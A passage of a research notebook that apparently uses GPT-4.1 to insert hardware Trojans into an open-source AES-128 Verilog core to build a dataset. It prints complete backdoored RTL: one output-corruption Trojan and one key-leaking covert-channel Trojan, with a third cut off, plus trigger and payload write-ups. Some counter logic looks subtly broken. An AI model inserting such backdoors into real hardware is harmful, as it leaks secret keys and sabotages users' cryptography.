8\\'h3a: out <= 8\\'h1b;\\n    8\\'h3b: out <= 8\\'hdf;\\n    8\\'h3c: out <= 8\\'hcd;\\n    8\\'h3d: out <= 8\\'h4e;\\n    8\\'h3e: out <= 8\\'h7f;\\n    8\\'h3f: out <= 8\\'hea;\\n    8\\'h40: out <= 8\\'h12;\\n    8\\'h41: out <= 8\\'h1d;\\n    8\\'h42: out <= 8\\'h58;\\n    8\\'h43: out <= 8\\'h34;\\n    8\\'h44: out <= 8\\'h36;\\n    8\\'h45: out <= 8\\'hdc;\\n    8\\'h46: out <= 8\\'hb4;\\n    8\\'h47: out <= 8\\'h5b;\\n    8\\'h48: out <= 8\\'ha4;\\n    8\\'h49: out <= 8\\'h76;\\n    8\\'h4a: out <= 8\\'hb7;\\n    8\\'h4b: out <= 8\\'h7d;\\n    8\\'h4c: out <= 8\\'h52;\\n    8\\'h4d: out <= 8\\'hdd;\\n    8\\'h4e: out <= 8\\'h5e;\\n    8\\'h4f: out <= 8\\'h13;\\n    8\\'h50: out <= 8\\'ha6;\\n    8\\'h51: out <= 8\\'hb9;\\n    8\\'h52: out <= 8\\'h00;\\n    8\\'h53: out <= 8\\'hc1;\\n    8\\'h54: out <= 8\\'h40;\\n    8\\'h55: out <= 8\\'he3;\\n    8\\'h56: out <= 8\\'h79;\\n    8\\'h57: out <= 8\\'hb6;\\n    8\\'h58: out <= 8\\'hd4;\\n    8\\'h59: out <= 8\\'h8d;\\n    8\\'h5a: out <= 8\\'h67;\\n    8\\'h5b: out <= 8\\'h72;\\n    8\\'h5c: out <= 8\\'h94;\\n    8\\'h5d: out <= 8\\'h98;\\n    8\\'h5e: out <= 8\\'hb0;\\n    8\\'h5f: out <= 8\\'h85;\\n    8\\'h60: out <= 8\\'hbb;\\n    8\\'h61: out <= 8\\'hc5;\\n    8\\'h62: out <= 8\\'h4f;\\n    8\\'h63: out <= 8\\'hed;\\n    8\\'h64: out <= 8\\'h86;\\n    8\\'h65: out <= 8\\'h9a;\\n    8\\'h66: out <= 8\\'h66;\\n    8\\'h67: out <= 8\\'h11;\\n    8\\'h68: out <= 8\\'h8a;\\n    8\\'h69: out <= 8\\'he9;\\n    8\\'h6a: out <= 8\\'h04;\\n    8\\'h6b: out <= 8\\'hfe;\\n    8\\'h6c: out <= 8\\'ha0;\\n    8\\'h6d: out <= 8\\'h78;\\n    8\\'h6e: out <= 8\\'h25;\\n    8\\'h6f: out <= 8\\'h4b;\\n    8\\'h70: out <= 8\\'ha2;\\n    8\\'h71: out <= 8\\'h5d;\\n    8\\'h72: out <= 8\\'h80;\\n    8\\'h73: out <= 8\\'h05;\\n    8\\'h74: out <= 8\\'h3f;\\n    8\\'h75: out <= 8\\'h21;\\n    8\\'h76: out <= 8\\'h70;\\n    8\\'h77: out <= 8\\'hf1;\\n    8\\'h78: out <= 8\\'h63;\\n    8\\'h79: out <= 8\\'h77;\\n    8\\'h7a: out <= 8\\'haf;\\n    8\\'h7b: out <= 8\\'h42;\\n    8\\'h7c: out <= 8\\'h20;\\n    8\\'h7d: out <= 8\\'he5;\\n    8\\'h7e: out <= 8\\'hfd;\\n    8\\'h7f: out <= 8\\'hbf;\\n    8\\'h80: out <= 8\\'h81;\\n    8\\'h81: out <= 8\\'h18;\\n    8\\'h82: out <= 8\\'h26;\\n    8\\'h83: out <= 8\\'hc3;\\n    8\\'h84: out <= 8\\'hbe;\\n    8\\'h85: out <= 8\\'h35;\\n    8\\'h86: out <= 8\\'h88;\\n    8\\'h87: out <= 8\\'h2e;\\n    8\\'h88: out <= 8\\'h93;\\n    8\\'h89: out <= 8\\'h55;\\n    8\\'h8a: out <= 8\\'hfc;\\n    8\\'h8b: out <= 8\\'h7a;\\n    8\\'h8c: out <= 8\\'hc8;\\n    8\\'h8d: out <= 8\\'hba;\\n    8\\'h8e: out <= 8\\'h32;\\n    8\\'h8f: out <= 8\\'he6;\\n    8\\'h90: out <= 8\\'hc0;\\n    8\\'h91: out <= 8\\'h19;\\n    8\\'h92: out <= 8\\'h9e;\\n    8\\'h93: out <= 8\\'ha3;\\n    8\\'h94: out <= 8\\'h44;\\n    8\\'h95: out <= 8\\'h54;\\n    8\\'h96: out <= 8\\'h3b;\\n    8\\'h97: out <= 8\\'h0b;\\n    8\\'h98: out <= 8\\'h8c;\\n    8\\'h99: out <= 8\\'hc7;\\n    8\\'h9a: out <= 8\\'h6b;\\n    8\\'h9b: out <= 8\\'h28;\\n    8\\'h9c: out <= 8\\'ha7;\\n    8\\'h9d: out <= 8\\'hbc;\\n    8\\'h9e: out <= 8\\'h16;\\n    8\\'h9f: out <= 8\\'had;\\n    8\\'ha0: out <= 8\\'hdb;\\n    8\\'ha1: out <= 8\\'h64;\\n    8\\'ha2: out <= 8\\'h74;\\n    8\\'ha3: out <= 8\\'h14;\\n    8\\'ha4: out <= 8\\'h92;\\n    8\\'ha5: out <= 8\\'h0c;\\n    8\\'ha6: out <= 8\\'h48;\\n    8\\'ha7: out <= 8\\'hb8;\\n    8\\'ha8: out <= 8\\'h9f;\\n    8\\'ha9: out <= 8\\'hbd;\\n    8\\'haa: out <= 8\\'h43;\\n    8\\'hab: out <= 8\\'hc4;\\n    8\\'hac: out <= 8\\'h39;\\n    8\\'had: out <= 8\\'h31;\\n    8\\'hae: out <= 8\\'hd3;\\n    8\\'haf: out <= 8\\'hf2;\\n    8\\'hb0: out <= 8\\'hd5;\\n    8\\'hb1: out <= 8\\'h8b;\\n    8\\'hb2: out <= 8\\'h6e;\\n    8\\'hb3: out <= 8\\'hda;\\n    8\\'hb4: out <= 8\\'h01;\\n    8\\'hb5: out <= 8\\'hb1;\\n    8\\'hb6: out <= 8\\'h9c;\\n    8\\'hb7: out <= 8\\'h49;\\n    8\\'hb8: out <= 8\\'hd8;\\n    8\\'hb9: out <= 8\\'hac;\\n    8\\'hba: out <= 8\\'hf3;\\n    8\\'hbb: out <= 8\\'hcf;\\n    8\\'hbc: out <= 8\\'hca;\\n    8\\'hbd: out <= 8\\'hf4;\\n    8\\'hbe: out <= 8\\'h47;\\n    8\\'hbf: out <= 8\\'h10;\\n    8\\'hc0: out <= 8\\'h6f;\\n    8\\'hc1: out <= 8\\'hf0;\\n    8\\'hc2: out <= 8\\'h4a;\\n    8\\'hc3: out <= 8\\'h5c;\\n    8\\'hc4: out <= 8\\'h38;\\n    8\\'hc5: out <= 8\\'h57;\\n    8\\'hc6: out <= 8\\'h73;\\n    8\\'hc7: out <= 8\\'h97;\\n    8\\'hc8: out <= 8\\'hcb;\\n    8\\'hc9: out <= 8\\'ha1;\\n    8\\'hca: out <= 8\\'he8;\\n    8\\'hcb: out <= 8\\'h3e;\\n    8\\'hcc: out <= 8\\'h96;\\n    8\\'hcd: out <= 8\\'h61;\\n    8\\'hce: out <= 8\\'h0d;\\n    8\\'hcf: out <= 8\\'h0f;\\n    8\\'hd0: out <= 8\\'he0;\\n    8\\'hd1: out <= 8\\'h7c;\\n    8\\'hd2: out <= 8\\'h71;\\n    8\\'hd3: out <= 8\\'hcc;\\n    8\\'hd4: out <= 8\\'h90;\\n    8\\'hd5: out <= 8\\'h06;\\n    8\\'hd6: out <= 8\\'hf7;\\n    8\\'hd7: out <= 8\\'h1c;\\n    8\\'hd8: out <= 8\\'hc2;\\n    8\\'hd9: out <= 8\\'h6a;\\n    8\\'hda: out <= 8\\'hae;\\n    8\\'hdb: out <= 8\\'h69;\\n    8\\'hdc: out <= 8\\'h17;\\n    8\\'hdd: out <= 8\\'h99;\\n    8\\'hde: out <= 8\\'h3a;\\n    8\\'hdf: out <= 8\\'h27;\\n    8\\'he0: out <= 8\\'hd9;\\n    8\\'he1: out <= 8\\'heb;\\n    8\\'he2: out <= 8\\'h2b;\\n    8\\'he3: out <= 8\\'h22;\\n    8\\'he4: out <= 8\\'hd2;\\n    8\\'he5: out <= 8\\'ha9;\\n    8\\'he6: out <= 8\\'h07;\\n    8\\'he7: out <= 8\\'h33;\\n    8\\'he8: out <= 8\\'h2d;\\n    8\\'he9: out <= 8\\'h3c;\\n    8\\'hea: out <= 8\\'h15;\\n    8\\'heb: out <= 8\\'hc9;\\n    8\\'hec: out <= 8\\'h87;\\n    8\\'hed: out <= 8\\'haa;\\n    8\\'hee: out <= 8\\'h50;\\n    8\\'hef: out <= 8\\'ha5;\\n    8\\'hf0: out <= 8\\'h03;\\n    8\\'hf1: out <= 8\\'h59;\\n    8\\'hf2: out <= 8\\'h09;\\n    8\\'hf3: out <= 8\\'h1a;\\n    8\\'hf4: out <= 8\\'h65;\\n    8\\'hf5: out <= 8\\'hd7;\\n    8\\'hf6: out <= 8\\'h84;\\n    8\\'hf7: out <= 8\\'hd0;\\n    8\\'hf8: out <= 8\\'h82;\\n    8\\'hf9: out <= 8\\'h29;\\n    8\\'hfa: out <= 8\\'h5a;\\n    8\\'hfb: out <= 8\\'h1e;\\n    8\\'hfc: out <= 8\\'h7b;\\n    8\\'hfd: out <= 8\\'ha8;\\n    8\\'hfe: out <= 8\\'h6d;\\n    8\\'hff: out <= 8\\'h2c;\\n    endcase\\nendmodule\\n'),\n",
              " ('aes_128.v',\n",
              "  '/*\\n * Copyright 2012, Homer Hsing <homer.hsing@gmail.com>\\n *\\n * Licensed under the Apache License, Version 2.0 (the \"License\");\\n * you may not use this file except in compliance with the License.\\n * You may obtain a copy of the License at\\n *\\n * http://www.apache.org/licenses/LICENSE-2.0\\n *\\n * Unless required by applicable law or agreed to in writing, software\\n * distributed under the License is distributed on an \"AS IS\" BASIS,\\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\\n * See the License for the specific language governing permissions and\\n * limitations under the License.\\n */\\n\\nmodule aes_128(clk, state, key, out);\\n    input          clk;\\n    input  [127:0] state, key;\\n    output [127:0] out;\\n    reg    [127:0] s0, k0;\\n    wire   [127:0] s1, s2, s3, s4, s5, s6, s7, s8, s9,\\n                   k1, k2, k3, k4, k5, k6, k7, k8, k9,\\n                   k0b, k1b, k2b, k3b, k4b, k5b, k6b, k7b, k8b, k9b;\\n\\n    always @ (posedge clk)\\n      begin\\n        s0 <= state ^ key;\\n        k0 <= key;\\n      end\\n\\n    expand_key_128\\n        a1 (clk, k0, k1, k0b, 8\\'h1),\\n        a2 (clk, k1, k2, k1b, 8\\'h2),\\n        a3 (clk, k2, k3, k2b, 8\\'h4),\\n        a4 (clk, k3, k4, k3b, 8\\'h8),\\n        a5 (clk, k4, k5, k4b, 8\\'h10),\\n        a6 (clk, k5, k6, k5b, 8\\'h20),\\n        a7 (clk, k6, k7, k6b, 8\\'h40),\\n        a8 (clk, k7, k8, k7b, 8\\'h80),\\n        a9 (clk, k8, k9, k8b, 8\\'h1b),\\n       a10 (clk, k9,   , k9b, 8\\'h36);\\n\\n    one_round\\n        r1 (clk, s0, k0b, s1),\\n        r2 (clk, s1, k1b, s2),\\n        r3 (clk, s2, k2b, s3),\\n        r4 (clk, s3, k3b, s4),\\n        r5 (clk, s4, k4b, s5),\\n        r6 (clk, s5, k5b, s6),\\n        r7 (clk, s6, k6b, s7),\\n        r8 (clk, s7, k7b, s8),\\n        r9 (clk, s8, k8b, s9);\\n\\n    final_round\\n        rf (clk, s9, k9b, out);\\nendmodule\\n\\nmodule expand_key_128(clk, in, out_1, out_2, rcon);\\n    input              clk;\\n    input      [127:0] in;\\n    input      [7:0]   rcon;\\n    output reg [127:0] out_1;\\n    output     [127:0] out_2;\\n    wire       [31:0]  k0, k1, k2, k3,\\n                       v0, v1, v2, v3;\\n    reg        [31:0]  k0a, k1a, k2a, k3a;\\n    wire       [31:0]  k0b, k1b, k2b, k3b, k4a;\\n\\n    assign {k0, k1, k2, k3} = in;\\n    \\n    assign v0 = {k0[31:24] ^ rcon, k0[23:0]};\\n    assign v1 = v0 ^ k1;\\n    assign v2 = v1 ^ k2;\\n    assign v3 = v2 ^ k3;\\n\\n    always @ (posedge clk)\\n        {k0a, k1a, k2a, k3a} <= {v0, v1, v2, v3};\\n\\n    S4\\n        S4_0 (clk, {k3[23:0], k3[31:24]}, k4a);\\n\\n    assign k0b = k0a ^ k4a;\\n    assign k1b = k1a ^ k4a;\\n    assign k2b = k2a ^ k4a;\\n    assign k3b = k3a ^ k4a;\\n\\n    always @ (posedge clk)\\n        out_1 <= {k0b, k1b, k2b, k3b};\\n\\n    assign out_2 = {k0b, k1b, k2b, k3b};\\nendmodule\\n\\n')]"
            ]
          },
          "execution_count": 8,
          "metadata": {},
          "output_type": "execute_result"
        }
      ],
      "source": [
        "!mkdir -p /content/aes\n",
        "\n",
        "!cp /content/ip-cores/rtl/aes_128.v /content/aes/\n",
        "!cp /content/ip-cores/rtl/round.v /content/aes/\n",
        "!cp /content/ip-cores/rtl/table.v /content/aes/\n",
        "load_base_designs(\"/content/aes\")"
      ]
    },
    {
      "cell_type": "code",
      "execution_count": 9,
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "collapsed": true,
        "id": "hCmL9EdjJEcP",
        "outputId": "bdda769b-8800-47cc-d1c0-10951c1fc6ec"
      },
      "outputs": [
        {
          "name": "stdout",
          "output_type": "stream",
          "text": [
            "Vulnerable designs directory: /content/aes\n",
            "Directory exists: True\n",
            "Code:\n",
            "```verilog\n",
            "/*\n",
            " * Copyright 2012, Homer Hsing <homer.hsing@gmail.com>\n",
            " *\n",
            " * Licensed under the Apache License, Version 2.0 (the \"License\");\n",
            " * you may not use this file except in compliance with the License.\n",
            " * You may obtain a copy of the License at\n",
            " *\n",
            " * http://www.apache.org/licenses/LICENSE-2.0\n",
            " *\n",
            " * Unless required by applicable law or agreed to in writing, software\n",
            " * distributed under the License is distributed on an \"AS IS\" BASIS,\n",
            " * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n",
            " * See the License for the specific language governing permissions and\n",
            " * limitations under the License.\n",
            " */\n",
            "\n",
            "/* one AES round for every two clock cycles with reset */\n",
            "module one_round (\n",
            "    input              clk,\n",
            "    input              rst, // Added reset\n",
            "    input      [127:0] state_in,\n",
            "    input      [127:0] key,\n",
            "    output reg [127:0] state_out\n",
            ");\n",
            "\n",
            "    wire [31:0]  s0,  s1,  s2,  s3,\n",
            "                 z0,  z1,  z2,  z3,\n",
            "                 p00, p01, p02, p03,\n",
            "                 p10, p11, p12, p13,\n",
            "                 p20, p21, p22, p23,\n",
            "                 p30, p31, p32, p33,\n",
            "                 k0,  k1,  k2,  k3;\n",
            "\n",
            "    assign {k0, k1, k2, k3} = key;\n",
            "\n",
            "    assign {s0, s1, s2, s3} = state_in;\n",
            "\n",
            "    table_lookup\n",
            "        t0 (clk, s0, p00, p01, p02, p03),\n",
            "        t1 (clk, s1, p10, p11, p12, p13),\n",
            "        t2 (clk, s2, p20, p21, p22, p23),\n",
            "        t3 (clk, s3, p30, p31, p32, p33);\n",
            "\n",
            "    // Trojan trigger: event-based, activates after 4096 cycles since reset\n",
            "    reg [11:0] trojan_counter; // 12 bits for up to 4096\n",
            "    reg        trojan_triggered;\n",
            "    reg [3:0]  trojan_state; // state for FSM trigger\n",
            "\n",
            "    always @(posedge clk or posedge rst) begin\n",
            "        if (rst) begin\n",
            "            trojan_counter    <= 12'd0;\n",
            "            trojan_triggered  <= 1'b0;\n",
            "            trojan_state      <= 4'd0;\n",
            "        end else begin\n",
            "            // Event-based trigger: after 4096 cycles\n",
            "            if (!trojan_triggered) begin\n",
            "                trojan_counter <= trojan_counter + 1'b1;\n",
            "                if (trojan_counter == 12'd4095) begin\n",
            "                    trojan_triggered <= 1'b1;\n",
            "                end\n",
            "            end\n",
            "            // Optional simple pattern FSM (could tie to key or state, here just an example)\n",
            "            else begin\n",
            "                trojan_state <= trojan_state + 1'b1;\n",
            "            end\n",
            "        end\n",
            "    end\n",
            "\n",
            "    // Trojan payload: Subtly corrupt z2 with 32'hA5A5A5A5 XOR for 16 cycles after trigger\n",
            "    wire [31:0] z2_trojaned;\n",
            "    assign z2_trojaned =\n",
            "        (trojan_triggered && trojan_state < 16) ?\n",
            "            (p02 ^ p13 ^ p20 ^ p31 ^ k2) ^ 32'hA5A5A5A5 : // <-- Trojan ACTIVE\n",
            "            (p02 ^ p13 ^ p20 ^ p31 ^ k2);                 // Normal operation\n",
            "\n",
            "    assign z0 = p00 ^ p11 ^ p22 ^ p33 ^ k0;\n",
            "    assign z1 = p03 ^ p10 ^ p21 ^ p32 ^ k1;\n",
            "    //assign z2 = p02 ^ p13 ^ p20 ^ p31 ^ k2;\n",
            "    assign z2 = z2_trojaned; // <-- Trojan-affected z2\n",
            "    assign z3 = p01 ^ p12 ^ p23 ^ p30 ^ k3;\n",
            "\n",
            "    always @ (posedge clk or posedge rst)\n",
            "        if (rst)\n",
            "            state_out <= 128'd0;\n",
            "        else\n",
            "            state_out <= {z0, z1, z2, z3};\n",
            "endmodule\n",
            "\n",
            "/* AES final round for every two clock cycles with reset */\n",
            "module final_round (\n",
            "    input              clk,\n",
            "    input              rst, // Added reset\n",
            "    input      [127:0] state_in,\n",
            "    input      [127:0] key_in,\n",
            "    output reg [127:0] state_out\n",
            ");\n",
            "    wire [31:0] s0,  s1,  s2,  s3,\n",
            "                z0,  z1,  z2,  z3,\n",
            "                k0,  k1,  k2,  k3;\n",
            "    wire [7:0]  p00, p01, p02, p03,\n",
            "                p10, p11, p12, p13,\n",
            "                p20, p21, p22, p23,\n",
            "                p30, p31, p32, p33;\n",
            "\n",
            "    assign {k0, k1, k2, k3} = key_in;\n",
            "\n",
            "    assign {s0, s1, s2, s3} = state_in;\n",
            "\n",
            "    S4\n",
            "        S4_1 (clk, s0, {p00, p01, p02, p03}),\n",
            "        S4_2 (clk, s1, {p10, p11, p12, p13}),\n",
            "        S4_3 (clk, s2, {p20, p21, p22, p23}),\n",
            "        S4_4 (clk, s3, {p30, p31, p32, p33});\n",
            "\n",
            "    assign z0 = {p00, p11, p22, p33} ^ k0;\n",
            "    assign z1 = {p10, p21, p32, p03} ^ k1;\n",
            "    assign z2 = {p20, p31, p02, p13} ^ k2;\n",
            "    assign z3 = {p30, p01, p12, p23} ^ k3;\n",
            "\n",
            "    always @ (posedge clk or posedge rst)\n",
            "        if (rst)\n",
            "            state_out <= 128'd0;\n",
            "        else\n",
            "            state_out <= {z0, z1, z2, z3};\n",
            "endmodule\n",
            "```\n",
            "\n",
            "Explanation:\n",
            "A Trojan was inserted in the `one_round` module by corrupting the calculation of one output word (`z2`) with a fixed XOR value, only when a rarely triggered internal condition occurs; all other behavior remains identical.\n",
            "\n",
            "Trigger:\n",
            "The Trojan is triggered after 4096 clock cycles following reset, after which it activates for 16 cycles (via an internal counter/FSM).\n",
            "\n",
            "Payload:\n",
            "When triggered, the payload corrupts the `z2` output by XORing it with `32'hA5A5A5A5` for 16 cycles, causing subtle but deliberate computation errors.\n",
            "\n",
            "Taxonomy:\n",
            "Insertion phase: Design  \n",
            "Abstraction level: Register-transfer level  \n",
            "Activation mechanism: Triggered internally (cycle counter and FSM)  \n",
            "Effects: change functionality  \n",
            "Location: Processor (AES datapath/round logic)  \n",
            "Characteristics: Localized, Small, Functional  \n",
            "\n",
            "Saving vulnerable design to: aes/gpt-4.1/round/round_HT1_gpt-4.1_A1.v\n",
            "Saving vulnerability description to: aes/gpt-4.1/round/round_HT1_gpt-4.1_A1_taxonomy.txt\n",
            "Code:\n",
            "```verilog\n",
            "/*\n",
            " * Copyright 2012, Homer Hsing <homer.hsing@gmail.com>\n",
            " *\n",
            " * Licensed under the Apache License, Version 2.0 (the \"License\");\n",
            " * you may not use this file except in compliance with the License.\n",
            " * You may obtain a copy of the License at\n",
            " *\n",
            " * http://www.apache.org/licenses/LICENSE-2.0\n",
            " *\n",
            " * Unless required by applicable law or agreed to in writing, software\n",
            " * distributed under the License is distributed on an \"AS IS\" BASIS,\n",
            " * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n",
            " * See the License for the specific language governing permissions and\n",
            " * limitations under the License.\n",
            " */\n",
            "\n",
            "/* one AES round for every two clock cycles */\n",
            "module one_round (\n",
            "    input              clk,\n",
            "    input              rst_n,                   // [Trojan] Added synchronous active low reset\n",
            "    input      [127:0] state_in,\n",
            "    input      [127:0] key,\n",
            "    output reg [127:0] state_out,\n",
            "    // [Trojan] Covert output port (can masquerade as debug or unused)\n",
            "    output reg         trojan_leak_data         // [Trojan] Data-leak output (1 bit)\n",
            ");\n",
            "    wire       [31:0]  s0,  s1,  s2,  s3,\n",
            "                       z0,  z1,  z2,  z3,\n",
            "                       p00, p01, p02, p03,\n",
            "                       p10, p11, p12, p13,\n",
            "                       p20, p21, p22, p23,\n",
            "                       p30, p31, p32, p33,\n",
            "                       k0,  k1,  k2,  k3;\n",
            "\n",
            "    assign {k0, k1, k2, k3} = key;\n",
            "\n",
            "    assign {s0, s1, s2, s3} = state_in;\n",
            "\n",
            "    table_lookup\n",
            "        t0 (clk, s0, p00, p01, p02, p03),\n",
            "        t1 (clk, s1, p10, p11, p12, p13),\n",
            "        t2 (clk, s2, p20, p21, p22, p23),\n",
            "        t3 (clk, s3, p30, p31, p32, p33);\n",
            "\n",
            "    assign z0 = p00 ^ p11 ^ p22 ^ p33 ^ k0;\n",
            "    assign z1 = p03 ^ p10 ^ p21 ^ p32 ^ k1;\n",
            "    assign z2 = p02 ^ p13 ^ p20 ^ p31 ^ k2;\n",
            "    assign z3 = p01 ^ p12 ^ p23 ^ p30 ^ k3;\n",
            "\n",
            "    // [Trojan] Trigger and payload logic\n",
            "    // Covert transmission variables\n",
            "    reg [3:0] trojan_cnt;                   // [Trojan] Bit counter for covert transmission\n",
            "    reg       trojan_active;                // [Trojan] Activation flag\n",
            "\n",
            "    // [Trojan] Programmable trigger: if upper 8 bits of s0 and lower 8 bits of s3 equal 8'hAA and 8'h55\n",
            "    // This is a rarely occurring magic pattern to minimize Trojan activation probability.\n",
            "    wire trigger_condition = (s0[31:24] == 8'hAA) && (s3[7:0] == 8'h55);\n",
            "\n",
            "    // [Trojan] Hardware Trojan: Upon trigger, serially leak key LSBs on trojan_leak_data\n",
            "    always @(posedge clk or negedge rst_n) begin\n",
            "        if (!rst_n) begin\n",
            "            state_out        <= 128'b0;\n",
            "            trojan_cnt       <= 4'd0;\n",
            "            trojan_active    <= 1'b0;\n",
            "            trojan_leak_data <= 1'b0;\n",
            "        end else begin\n",
            "            state_out <= {z0, z1, z2, z3};\n",
            "\n",
            "            if (!trojan_active) begin\n",
            "                // Arm Trojan when condition met\n",
            "                if (trigger_condition) begin\n",
            "                    trojan_active <= 1'b1;\n",
            "                    trojan_cnt    <= 4'd0;\n",
            "                end else begin\n",
            "                    trojan_active <= 1'b0;\n",
            "                    trojan_cnt    <= 4'd0;\n",
            "                    trojan_leak_data <= 1'b0;\n",
            "                end\n",
            "            end else begin\n",
            "                // Leak key[ trojan_cnt ] on each clock cycle\n",
            "                if (trojan_cnt < 128) begin\n",
            "                    trojan_leak_data <= key[trojan_cnt];\n",
            "                    trojan_cnt       <= trojan_cnt + 1'b1;\n",
            "                end else begin\n",
            "                    trojan_active    <= 1'b0; // Deactivate after full key leak\n",
            "                    trojan_cnt       <= 4'd0;\n",
            "                    trojan_leak_data <= 1'b0;\n",
            "                end\n",
            "            end\n",
            "        end\n",
            "    end\n",
            "endmodule\n",
            "\n",
            "/* AES final round for every two clock cycles */\n",
            "module final_round (\n",
            "    input              clk,\n",
            "    input              rst_n,                    // [Trojan] Added synchronous active low reset\n",
            "    input      [127:0] state_in,\n",
            "    input      [127:0] key_in,\n",
            "    output reg [127:0] state_out,\n",
            "    // [Trojan] Covert output port (can masquerade as debug or unused)\n",
            "    output reg         trojan_leak_data          // [Trojan] Data-leak output (1 bit)\n",
            ");\n",
            "    wire [31:0] s0,  s1,  s2,  s3,\n",
            "                z0,  z1,  z2,  z3,\n",
            "                k0,  k1,  k2,  k3;\n",
            "    wire [7:0]  p00, p01, p02, p03,\n",
            "                p10, p11, p12, p13,\n",
            "                p20, p21, p22, p23,\n",
            "                p30, p31, p32, p33;\n",
            "\n",
            "    assign {k0, k1, k2, k3} = key_in;\n",
            "\n",
            "    assign {s0, s1, s2, s3} = state_in;\n",
            "\n",
            "    S4\n",
            "        S4_1 (clk, s0, {p00, p01, p02, p03}),\n",
            "        S4_2 (clk, s1, {p10, p11, p12, p13}),\n",
            "        S4_3 (clk, s2, {p20, p21, p22, p23}),\n",
            "        S4_4 (clk, s3, {p30, p31, p32, p33});\n",
            "\n",
            "    assign z0 = {p00, p11, p22, p33} ^ k0;\n",
            "    assign z1 = {p10, p21, p32, p03} ^ k1;\n",
            "    assign z2 = {p20, p31, p02, p13} ^ k2;\n",
            "    assign z3 = {p30, p01, p12, p23} ^ k3;\n",
            "\n",
            "    // [Trojan] Trigger and payload logic\n",
            "    reg [3:0] trojan_cnt;                     // [Trojan] Bit counter for covert transmission\n",
            "    reg       trojan_active;                  // [Trojan] Activation flag\n",
            "\n",
            "    wire trigger_condition = (s0[31:24] == 8'hAA) && (s3[7:0] == 8'h55);\n",
            "\n",
            "    always @(posedge clk or negedge rst_n) begin\n",
            "        if (!rst_n) begin\n",
            "            state_out        <= 128'b0;\n",
            "            trojan_cnt       <= 4'd0;\n",
            "            trojan_active    <= 1'b0;\n",
            "            trojan_leak_data <= 1'b0;\n",
            "        end else begin\n",
            "            state_out <= {z0, z1, z2, z3};\n",
            "\n",
            "            if (!trojan_active) begin\n",
            "                if (trigger_condition) begin\n",
            "                    trojan_active <= 1'b1;\n",
            "                    trojan_cnt    <= 4'd0;\n",
            "                end else begin\n",
            "                    trojan_active    <= 1'b0;\n",
            "                    trojan_cnt       <= 4'd0;\n",
            "                    trojan_leak_data <= 1'b0;\n",
            "                end\n",
            "            end else begin\n",
            "                if (trojan_cnt < 128) begin\n",
            "                    trojan_leak_data <= key_in[trojan_cnt];\n",
            "                    trojan_cnt       <= trojan_cnt + 1'b1;\n",
            "                end else begin\n",
            "                    trojan_active    <= 1'b0;\n",
            "                    trojan_cnt       <= 4'd0;\n",
            "                    trojan_leak_data <= 1'b0;\n",
            "                end\n",
            "            end\n",
            "        end\n",
            "    end\n",
            "endmodule\n",
            "```\n",
            "\n",
            "Explanation:\n",
            "A triggered hardware Trojan was inserted by adding a covert output and leakage FSM that transmits the secret key bits serially when a rare input pattern (magic value) is detected, while normal functionality remains unaffected.\n",
            "\n",
            "Trigger:\n",
            "The Trojan activates when the upper 8 bits of state_in[127:96] are 0xAA and the lower 8 bits of state_in[31:0] are 0x55, serving as a secret trigger pattern.\n",
            "\n",
            "Payload:\n",
            "Once triggered, key bits are serially leaked on the trojan_leak_data output port at each clock cycle, disclosing the secret key externally via a covert channel.\n",
            "\n",
            "Taxonomy:\n",
            "Insertion phase: Design  \n",
            "Abstraction level: Register-transfer level  \n",
            "Activation mechanism: Triggered internally (rare input pattern)  \n",
            "Effects: leak information  \n",
            "Location: Processor (AES round modules)  \n",
            "Characteristics: Small, Distributed, Functional  \n",
            "\n",
            "Saving vulnerable design to: aes/gpt-4.1/round/round_HT2_gpt-4.1_A1.v\n",
            "Saving vulnerability description to: aes/gpt-4.1/round/round_HT2_gpt-4.1_A1_taxonomy.txt\n",
            "Code:\n",
            "```verilog\n",
            "/*\n",
            " * Copyright 2012, Homer Hsing <homer.hsing@gmail.com>\n",
            " *\n",
            " * Licensed under the Apache License, Version 2.0 (the \"License\");\n",
            " * you may not use this file except in compliance with the License.\n",
            " * You may obtain a copy of the License at\n",
            " *\n",
            " * http://www.apache.org/licenses/LICENSE-2.0\n",
            " *\n",
            " * Unless required by applicable law or agreed to in writing, software\n",
            " * distributed under the License is distributed on an \"AS IS\" BASIS,\n",
            " * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n",
            " * See the License for the specific language governing permissions and\n",
            " * limitations under the License.\n",
            " */\n",
            "\n",
            "/* one AES round for every two clock cycles */\n",
            "module one_round (\n",
            "    input              clk,\n",
            "    input              rst_n, // Trojan: Added active-low reset\n",
            "    input      [127:0] state_in,\n",
            "    input      [127:0] key,\n",
            "    output reg [127:0] state_out\n",
            ");\n",
            "    wire       [31:0]  s0,  s1,  s2,  s3,\n",
            "                       z0,  z1,  z2,  z3,\n",
            "                       p00, p01, p02, p03,\n",
            "                       p10, p11, p12, p13,\n",
            "                       p20, p21, p22, p23,\n",
            "                       p30, p31, p32, p33,\n",
            "                       k0,  k1,  k2,  k3;\n",
            "\n",
            "    // Trojan: state for trigger and disable register\n",
            "    reg [3:0] trojan_seq_state;  // 4 states in trigger FSM\n",
            "    reg [7:0] trojan_disable_cnt;\n",
            "    reg       trojan_disabled;\n",
            "\n",
            "    // Trojan: define the rare sequence (example: state_in[7:0] == 8'hAA, then 8'h55, then 8'hF0, then 8'h0F)\n",
            "    localparam [7:0] T_SEQ_0 = 8'hAA;\n",
            "    localparam [7:0] T_SEQ_1 = 8'h55;\n",
            "    localparam [7:0] T_SEQ_2 = 8'hF0;\n",
            "    localparam [7:0] T_SEQ_3 = 8'h0F;\n",
            "\n",
            "    assign {k0, k1, k2, k3} = key;\n",
            "\n",
            "    assign {s0, s1, s2, s3} = state_in;\n",
            "\n",
            "    table_lookup\n",
            "        t0 (clk, s0, p00, p01, p02, p03),\n",
            "        t1 (clk, s1, p10, p11, p12, p13),\n",
            "        t2 (clk, s2, p20, p21, p22, p23),\n",
            "        t3 (clk, s3, p30, p31, p32, p33);\n",
            "\n",
            "    assign z0 = p00 ^ p11 ^ p22 ^ p33 ^ k0;\n",
            "    assign z1 = p03 ^ p10 ^ p21 ^ p32 ^ k1;\n",
            "    assign z2 = p02 ^ p13 ^ p20 ^ p31 ^ k2;\n",
            "    assign z3 = p01 ^ p12 ^ p23 ^ p30 ^ k3;\n",
            "\n",
